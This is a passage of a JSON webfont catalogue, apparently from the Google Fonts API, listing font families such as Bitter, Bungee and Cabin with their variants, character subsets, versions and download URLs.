Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8idQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEU7wG3AwE9VRww.ttf","300":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEYbSO1oeH9xI2gc.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8kdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NKSr6H1I1A9U.ttf","500":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEd7TO1oeH9xI2gc.ttf","600":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEfLUO1oeH9xI2gc.ttf","700":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEZbVO1oeH9xI2gc.ttf","800":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEYrWO1oeH9xI2gc.ttf","900":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEa7XO1oeH9xI2gc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Stencil Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeU4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvD00ncryljitbg.ttf","300":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvA88FcB5FTrrKG-.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeq4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPysiQ2HMJz0ji.ttf","500":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvBk8VcB5FTrrKG-.ttf","600":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvBI9lcB5FTrrKG-.ttf","700":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAs91cB5FTrrKG-.ttf","800":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAw9FcB5FTrrKG-.ttf","900":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAU9VcB5FTrrKG-.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Stencil Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUi9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYSZYGLxtPhi2eA.ttf","300":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRRQkLbmvRrwPmQ.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUg9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcbz9ambTsehi.ttf","500":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYQJQ0LbmvRrwPmQ.ttf","600":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYQlRELbmvRrwPmQ.ttf","700":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRBRULbmvRrwPmQ.ttf","800":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRdRkLbmvRrwPmQ.ttf","900":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYR5R0LbmvRrwPmQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xzezRtP9G3CGPIf49hxc8P0eytUxBU-IZ_YscCdXQB.ttf","300":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUMKRfSOkOfG0Y3A.ttf","regular":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xxezRtP9G3CGPIf49hxc8P0eytUxBsnIx7QMISdQ.ttf","500":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUaKVfSOkOfG0Y3A.ttf","600":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBURKJfSOkOfG0Y3A.ttf","700":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUIKNfSOkOfG0Y3A.ttf","800":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUPKBfSOkOfG0Y3A.ttf","900":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUGKFfSOkOfG0Y3A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bigelow Rules","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bigelowrules/v9/RrQWboly8iR_I3KWSzeRuN0zT4cCH8WAJVk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bigshot One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bigshotone/v11/u-470qukhRkkO6BD_7cM_gxuUQJBXv_-.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bilbo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bilbo/v10/o-0EIpgpwWwZ210hpIRz4wxE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bilbo Swash Caps","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bilboswashcaps/v13/zrf-0GXbz-H3Wb4XBsGrTgq2PVmdqAPopiRfKp8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"BioRhyme","variants":["200","300","regular","700","800"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ESOjnGAq8Sk1PoH.ttf","300":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ETqjXGAq8Sk1PoH.ttf","regular":"http://fonts.gstatic.com/s/biorhyme/v5/1cXwaULHBpDMsHYW_HxGpVWIgNit.ttf","700":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ET6inGAq8Sk1PoH.ttf","800":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ETmiXGAq8Sk1PoH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"BioRhyme Expanded","variants":["200","300","regular","700","800"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf","300":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf","regular":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf","700":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf","800":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Biryani","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddYQyGTBSU-J-RxQ.ttf","300":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddeAxGTBSU-J-RxQ.ttf","regular":"http://fonts.gstatic.com/s/biryani/v6/hv-WlzNxIFoO84YdTUwZPTh5T-s.ttf","600":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddZQ3GTBSU-J-RxQ.ttf","700":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddfA2GTBSU-J-RxQ.ttf","800":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84Yddew1GTBSU-J-RxQ.ttf","900":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84Yddcg0GTBSU-J-RxQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bitter","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbeCL_EXFh2reU.ttf","200":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8XbfCL_EXFh2reU.ttf","300":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8ajfCL_EXFh2reU.ttf","regular":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfCL_EXFh2reU.ttf","500":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8cTfCL_EXFh2reU.ttf","600":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8SjYCL_EXFh2reU.ttf","700":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8RHYCL_EXFh2reU.ttf","800":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8XbYCL_EXFh2reU.ttf","900":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8V_YCL_EXFh2reU.ttf","100italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c4P3OWHpzveWxBw.ttf","200italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cYPzOWHpzveWxBw.ttf","300italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cvvzOWHpzveWxBw.ttf","italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c4PzOWHpzveWxBw.ttf","500italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c0vzOWHpzveWxBw.ttf","600italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cPvvOWHpzveWxBw.ttf","700italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cB_vOWHpzveWxBw.ttf","800italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cYPvOWHpzveWxBw.ttf","900italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cSfvOWHpzveWxBw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Black And White Picture","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/blackandwhitepicture/v8/TwMe-JAERlQd3ooUHBUXGmrmioKjjnRSFO-NqI5HbcMi-yWY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Black Han Sans","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/blackhansans/v8/ea8Aad44WunzF9a-dL6toA8r8nqVIXSkH-Hc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Black Ops One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/blackopsone/v12/qWcsB6-ypo7xBdr6Xshe96H3WDzRtjkho4M.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Blinker","variants":["100","200","300","regular","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/blinker/v4/cIf_MaFatEE-VTaP_E2hZEsCkIt9QQ.ttf","200":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_OGARGEsnIJkWL4.ttf","300":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_IWDRGEsnIJkWL4.ttf","regular":"http://fonts.gstatic.com/s/blinker/v4/cIf9MaFatEE-VTaPxCmrYGkHgIs.ttf","600":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_PGFRGEsnIJkWL4.ttf","700":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_JWERGEsnIJkWL4.ttf","800":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_ImHRGEsnIJkWL4.ttf","900":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_K2GRGEsnIJkWL4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bokor","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bokor/v13/m8JcjfpeeaqTiR2WdInbcaxE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bonbon","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bonbon/v12/0FlVVPeVlFec4ee_cDEAbQY5-A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Boogaloo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/boogaloo/v12/kmK-Zq45GAvOdnaW6x1F_SrQo_1K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bowlby One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bowlbyone/v12/taiPGmVuC4y96PFeqp8smo6C_Z0wcK4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bowlby One SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bowlbyonesc/v12/DtVlJxerQqQm37tzN3wMug9Pzgj8owhNjuE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Brawler","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/brawler/v11/xn7gYHE3xXewAscGsgC7S9XdZN8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bree Serif","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/breeserif/v10/4UaHrEJCrhhnVA3DgluAx63j5pN1MwI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bubblegum Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bubblegumsans/v9/AYCSpXb_Z9EORv1M5QTjEzMEtdaHzoPPb7R4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bubbler One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bubblerone/v9/f0Xy0eqj68ppQV9KBLmAouHH26MPePkt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Buda","variants":["300"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/buda/v11/GFDqWAN8mnyIJSSrG7UBr7pZKA0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Buenard","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/buenard/v12/OD5DuM6Cyma8FnnsPzf9qGi9HL4.ttf","700":"http://fonts.gstatic.com/s/buenard/v12/OD5GuM6Cyma8FnnsB4vSjGCWALepwss.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bungee","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bungee/v6/N0bU2SZBIuF2PU_ECn50Kd_PmA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Hairline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeehairline/v6/snfys0G548t04270a_ljTLUVrv-7YB2dQ5ZPqQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Inline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeinline/v6/Gg8zN58UcgnlCweMrih332VuDGJ1-FEglsc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Outline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeoutline/v6/_6_mEDvmVP24UvU2MyiGDslL3Qg3YhJqPXxo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Shade","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeshade/v6/DtVkJxarWL0t2KdzK3oI_jks7iLSrwFUlw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Butcherman","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/butcherman/v12/2EbiL-thF0loflXUBOdb1zWzq_5uT84.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Butterfly Kids","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/butterflykids/v9/ll8lK2CWTjuqAsXDqlnIbMNs5S4arxFrAX1D.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cabin","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkV2EL7Gvxm7rE_s.ttf","500":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkW-EL7Gvxm7rE_s.ttf","600":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkYODL7Gvxm7rE_s.ttf","700":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkbqDL7Gvxm7rE_s.ttf","italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHx_KlwkzuA_u1Bg.ttf","500italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXH9fKlwkzuA_u1Bg.ttf","600italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHGfWlwkzuA_u1Bg.ttf","700italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHIPWlwkzuA_u1Bg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cabin Condensed","variants":["regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpMtK6mNhBK2err_hqkYhHRqmwaYOjZ5HZl8Q.ttf","500":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwilMH97F15-K1oqQ.ttf","600":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwiuMb97F15-K1oqQ.ttf","700":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwi3Mf97F15-K1oqQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cabin Sketch","variants":["regular","700"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cabinsketch/v14/QGYpz_kZZAGCONcK2A4bGOjMn9JM6fnuKg.ttf","700":"http://fonts.gstatic.com/s/cabinsketch/v14/QGY2z_kZZAGCONcK2A4bGOj0I_1o4dLyI4CMFw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Caesar Dressing","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/caesardressing/v9/yYLx0hLa3vawqtwdswbotmK4vrR3cbb6LZttyg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cagliostro","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cagliostro/v9/ZgNWjP5HM73BV5amnX-TjGXEM4COoE4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cairo","variants":["200","300","regular","600","700","900"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalrub76M7dd8aGZk.ttf","300":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6HkvalqKbL6M7dd8aGZk.ttf","regular":"http://fonts.gstatic.com/s/cairo/v9/SLXGc1nY6HkvamImRJqExst1.ttf","600":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalr-ar6M7dd8aGZk.ttf","700":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalqaa76M7dd8aGZk.ttf","900":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalqiab6M7dd8aGZk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Caladea","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/caladea/v2/kJEzBugZ7AAjhybUjR93-9IztOc.ttf","italic":"http://fonts.gstatic.com/s/caladea/v2/kJExBugZ7AAjhybUvR19__A2pOdvDA.ttf","700":"http://fonts.gstatic.com/s/caladea/v2/kJE2BugZ7AAjhybUtaNY39oYqO52FZ0.ttf","700italic":"http://fonts.gstatic.com/s/caladea/v2/kJE0BugZ7AAjhybUvR1FQ98SrMxzBZ2lDA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Calistoga","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/calistoga/v3/6NUU8F2OJg6MeR7l4e0vtMYAwdRZfw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Calligraffitti","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/calligraffitti/v12/46k2lbT3XjDVqJw3DCmCFjE0vnFZM5ZBpYN-.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cambay","variants":["regular","italic","700","700italic"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cambay/v7/SLXJc1rY6H0_ZDsGbrSIz9JsaA.ttf","italic":"http://fonts.gstatic.com/s/cambay/v7/SLXLc1rY6H0_ZDs2bL6M7dd8aGZk.ttf","700":"http://fonts.gstatic.com/s/cambay/v7/SLXKc1rY6H0_ZDs-0pusx_lwYX99kA.ttf","700italic":"http://fonts.gstatic.com/s/cambay/v7/SLXMc1rY6H0_ZDs2bIYwwvN0Q3ptkDMN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cambo","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cambo/v9/IFSqHeNEk8FJk416ok7xkPm8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Candal","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/candal/v10/XoHn2YH6T7-t_8cNAR4Jt9Yxlw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cantarell","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cantarell/v10/B50NF7ZDq37KMUvlO01Ji6hqHK-CLA.ttf","italic":"http://fonts.gstatic.com/s/cantarell/v10/B50LF7ZDq37KMUvlO015iaJuPqqSLJYf.ttf","700":"http://fonts.gstatic.com/s/cantarell/v10/B50IF7ZDq37KMUvlO01xN4dOFISeJY8GgQ.ttf","700italic":"http://fonts.gstatic.com/s/cantarell/v10/B50WF7ZDq37KMUvlO015iZrSEY6aB4oWgWHB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cantata One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cantataone/v10/PlI5Fl60Nb5obNzNe2jslVxEt8CwfGaD.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cantora One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cantoraone/v10/gyB4hws1JdgnKy56GB_JX6zdZ4vZVbgZ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Capriola","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/capriola/v8/wXKoE3YSppcvo1PDln_8L-AinG8y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cardo","variants":["regular","italic","700"],"subsets":["greek","greek-ext","latin","latin-ext"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/cardo/v13/wlp_gwjKBV1pqiv_1oAZ2H5O.ttf","italic":"http://fonts.gstatic.com/s/cardo/v13/wlpxgwjKBV1pqhv93IQ73W5OcCk.ttf","700":"http://fonts.gstatic.com/s/cardo/v13/wlpygwjKBV1pqhND-aQR82JHaTBX.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Carme","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carme/v11/ptRHTiWdbvZIDOjGxLNrxfbZ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carrois 